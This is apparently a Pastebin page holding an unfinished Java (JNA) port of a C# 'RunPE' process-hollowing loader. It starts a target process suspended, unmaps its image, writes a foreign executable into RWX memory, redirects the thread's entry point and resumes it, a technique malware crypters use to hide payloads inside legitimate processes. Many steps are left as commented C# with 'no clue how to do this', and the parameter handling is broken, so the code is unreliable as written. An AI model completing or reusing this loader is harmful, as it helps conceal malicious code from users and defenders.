Advertisement
Guest User

Kine

a guest
Jan 1st, 2013
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 7.33 KB | None | 0 0
  1. package kine;
  2.  
  3. import kine.Kernel32.CONTEXT;
  4. import kine.Kernel32.MEMORY_BASIC_INFORMATION;
  5. import kine.Kernel32.MZHeader;
  6. import kine.Kernel32.PE_ExtHeader;
  7. import kine.Kernel32.PE_Header;
  8. import kine.Kernel32.PROCESS_INFORMATION;
  9. import kine.Kernel32.PROCINFO;
  10. import kine.Kernel32.STARTUPINFO;
  11. import kine.Kernel32.SectionHeader;
  12.  
  13. import com.sun.jna.Native;
  14. import com.sun.jna.ptr.IntByReference;
  15.  
  16. public final class Kine {
  17.    
  18.     // Is this the same as?:
  19.     // IntPtr.Zero
  20.     private static final IntByReference ZERO = new IntByReference(0);
  21.  
  22.     public static int ReadPeInfo(byte[] data, MZHeader mzH, PE_Header peH,
  23.             PE_ExtHeader peXH, SectionHeader[] secHdrs) {
  24.         // I am assuming this is the same as:
  25.         // byte* dPtr = data
  26.         byte[] dPtr = data;
  27.         // ^^/> Also, not sure if "fixed" is important or something
  28.  
  29.         int imgSize = -1;
  30.  
  31.         mzH = new MZHeader();
  32.         peH = new PE_Header();
  33.         peXH = new PE_ExtHeader();
  34.         secHdrs = null;
  35.  
  36.         // is this the equivalent of?:
  37.         // if (data.Length < sizeof(MZHeader))
  38.         if (data.length < mzH.size()) {
  39.             return imgSize;
  40.         }
  41.  
  42.         // no clue how to do this:
  43.         // mzH = *(MZHeader*) dPtr;
  44.  
  45.         // is this the equivalent of?:
  46.         // if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header))
  47.         if (mzH.signature != 0x5a4d || data.length < (mzH.offsetToPE + peH.size())) {
  48.             return imgSize;
  49.         }
  50.  
  51.         // no clue how to do this:
  52.         // peH = *(PE_Header*)&dPtr[mzH.offsetToPE];
  53.  
  54.         // is this the equivalent of?:
  55.         // if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
  56.         if (peH.sizeOfOptionHeader != peXH.size()) {
  57.             return imgSize;
  58.         }
  59.  
  60.         // no clue how to do this:
  61.         // peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)];
  62.  
  63.         secHdrs = new SectionHeader[peH.numSections];
  64.  
  65.         imgSize = getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
  66.  
  67.         for (int i = 0; i < secHdrs.length; i++) {
  68.             // no clue how to do this:
  69.             // secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))];
  70.            
  71.             if (secHdrs[i].virtualSize != 0) {
  72.                 imgSize += getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
  73.             }
  74.         }
  75.        
  76.         return imgSize;
  77.     }
  78.    
  79.     public static void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr) {
  80.         // no clue how to do this:
  81.         // byte* ptr = (byte*)(void*)memPtr;
  82.        
  83.         int hdrSize = peXH.sizeOfHeaders;
  84.        
  85.         for (int i = 0; i < secHdrs.length; i++) {
  86.             if (secHdrs[i].pointerToRawData < hdrSize) {
  87.                 hdrSize = secHdrs[i].pointerToRawData;
  88.             }
  89.         }
  90.        
  91.         // don't know what this is, something like System.arraycopy?:
  92.         // Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize);
  93.        
  94.         // no clue how to do this:
  95.         // ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
  96.        
  97.         for (int i = 0, copySize; i < secHdrs.length; i++) {
  98.             if (secHdrs[i].sizeOfRawData > 0) {
  99.                 copySize = secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData;
  100.                
  101.                 // don't know what this is, again, something like System.arraycopy?:
  102.                 // Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize);
  103.                
  104.                 // and no clue about this either:
  105.                 // ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
  106.             } else if (secHdrs[i].virtualAddress != 0) {
  107.                 // and, of course, no clue about this:
  108.                 // ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
  109.             }
  110.         }
  111.     }
  112.    
  113.     public static boolean CreateChild(PROCESS_INFORMATION pInfo, PROCINFO cInfo, CONTEXT ctx, String target, Kernel32 kernel) {
  114.         STARTUPINFO sInfo = new STARTUPINFO();
  115.        
  116.         // is this the equivalent of?:
  117.         // ctx = new CONTEXT { ContextFlags = 0x10007 };
  118.         ctx = new CONTEXT();
  119.         ctx.ContextFlags = 0x10007;
  120.        
  121.         cInfo = new PROCINFO();
  122.        
  123.         if (kernel.CreateProcess(target, null, 0, 0, false, 4, ZERO, null, sInfo, pInfo)) {
  124.             kernel.GetThreadContext(pInfo.hThread, ctx);
  125.            
  126.             // no clue about this:
  127.             // uint* pebInfo = (uint*)ctx.Ebx;
  128.            
  129.             int read = 0;
  130.            
  131.             // no clue about "fixed" or if it is important
  132.             // also no clue about this:
  133.             // fixed (PROCINFO* cInfoPtr = &cInfo) {
  134.             //     ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read);
  135.             // }
  136.            
  137.             int curAddr = cInfo.baseAddr;
  138.            
  139.             MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
  140.            
  141.             while (kernel.VirtualQueryEx(pInfo.hProcess, new IntByReference(curAddr), memInfo, memInfo.size()) != 0) {
  142.                 if (memInfo.State == 0x10000)
  143.                     break;
  144.                 curAddr += memInfo.RegionSize;
  145.             }
  146.            
  147.             cInfo.imageSize = curAddr - cInfo.baseAddr;
  148.             return true;
  149.         }
  150.        
  151.         return false;
  152.     }
  153.    
  154.     public static boolean DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr, int imgSize, String target, Kernel32 kernel, NtDll ntdll) {
  155.         PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
  156.         CONTEXT ctx = new CONTEXT();
  157.         PROCINFO cInfo = new PROCINFO();
  158.        
  159.         if (!CreateChild(pInfo, cInfo, ctx, target, kernel)) {
  160.             return false;
  161.         }
  162.        
  163.         IntByReference v = ZERO;
  164.         if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize) {
  165.             // is this the same as?:
  166.             // v = (IntPtr)cInfo.baseAddr;
  167.             v = new IntByReference(cInfo.baseAddr);
  168.            
  169.             int oldP = 0;
  170.             kernel.VirtualProtectEx(pInfo.hProcess, new IntByReference(cInfo.baseAddr), new IntByReference(cInfo.imageSize), 0x40, oldP);
  171.         } else if (ntdll.ZwUnmapViewOfSection(pInfo.hProcess, new IntByReference(cInfo.baseAddr)) == 0) {
  172.             v = kernel.VirtualAllocEx(pInfo.hProcess, new IntByReference(peXH.imageBase), imgSize, 0x3000, 0x40);
  173.         }
  174.        
  175.         if (v != ZERO) {
  176.             // no clue about this:
  177.             // uint* pebInfo = (uint*)ctx.Ebx;
  178.            
  179.             int wrote = 0;
  180.            
  181.             // don't know how to call this:
  182.             // WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote);
  183.            
  184.             if (!kernel.WriteProcessMemory(pInfo.hProcess, v, memPtr, imgSize, wrote)) {
  185.                 return false;
  186.             }
  187.            
  188.             // I believe this is equivalent to:
  189.             // ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint);
  190.             ctx.Eax = v.getValue() == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.getValue() + peXH.addressOfEntryPoint;
  191.            
  192.             kernel.SetThreadContext(pInfo.hThread, ctx);
  193.             kernel.ResumeThread(pInfo.hThread);
  194.            
  195.             return true;
  196.         }
  197.        
  198.         return false;
  199.     }
  200.  
  201.     public static int getAlignedSize(int curSize, int alignment) {
  202.         return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment;
  203.     }
  204.    
  205.     public static boolean Run(byte[] data, String target, Kernel32 kernel, NtDll ntdll) {
  206.         if (data == null || target == null) {
  207.             return false;
  208.         }
  209.        
  210.         MZHeader mzH = new MZHeader();
  211.         PE_Header peH = new PE_Header();
  212.         PE_ExtHeader peXH = new PE_ExtHeader();
  213.         SectionHeader[] secHdrs = null;
  214.        
  215.         int imgSize = ReadPeInfo(data, mzH, peH, peXH, secHdrs);
  216.        
  217.         if (imgSize < 0) {
  218.             return false;
  219.         }
  220.        
  221.         IntByReference memPtr = kernel.VirtualAlloc(ZERO, imgSize, 0x1000, 0x40);
  222.        
  223.         if (memPtr == ZERO) {
  224.             return false;
  225.         }
  226.        
  227.         LoadPe(data, mzH, peH, peXH, secHdrs, memPtr);
  228.        
  229.         return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target, kernel, ntdll);
  230.     }
  231.  
  232. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement